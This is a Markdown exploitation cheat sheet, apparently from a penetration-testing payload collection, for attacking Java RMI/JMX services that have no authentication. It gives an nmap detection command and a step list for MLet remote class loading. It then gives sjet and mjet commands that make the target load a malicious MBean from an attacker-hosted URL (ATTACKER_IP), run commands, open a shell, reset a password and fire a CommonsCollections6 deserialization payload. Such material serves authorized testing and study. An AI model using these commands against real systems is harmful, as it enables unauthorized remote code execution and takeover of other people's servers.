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64 lines
2.7 KiB
Markdown
64 lines
2.7 KiB
Markdown
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# Java RMI
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> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host.
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## Summary
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* [Exploitation](#exploitation)
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* [Requirements](#requirements)
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* [Detection](#detection)
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* [Remote Command Execution](#remote-command-execution)
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* [References](#references)
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## Exploitation
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### Requirements
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- Jython
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- The JMX server can connect to a http service that is controlled by the attacker
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- JMX authentication is not enabled
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### Detection
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```powershell
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$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
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1089/tcp open java-rmi Java RMI
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| rmi-vuln-classloader:
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| VULNERABLE:
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| RMI registry default configuration remote code execution vulnerability
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| State: VULNERABLE
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| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
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| rmi-dumpregistry:
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| jmxrmi
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| javax.management.remote.rmi.RMIServerImpl_Stub
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```
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### Remote Command Execution
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The attack involves the following steps:
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* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
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* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
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* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
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* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
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* The attacker finally invokes methods from the malicious MBean.
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Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
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```powershell
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jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
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jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
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jython sjet.py TARGET_IP TARGET_PORT super_secret shell
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jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
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jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
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jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
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jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
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jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
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jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
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```
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## References
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* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
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* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
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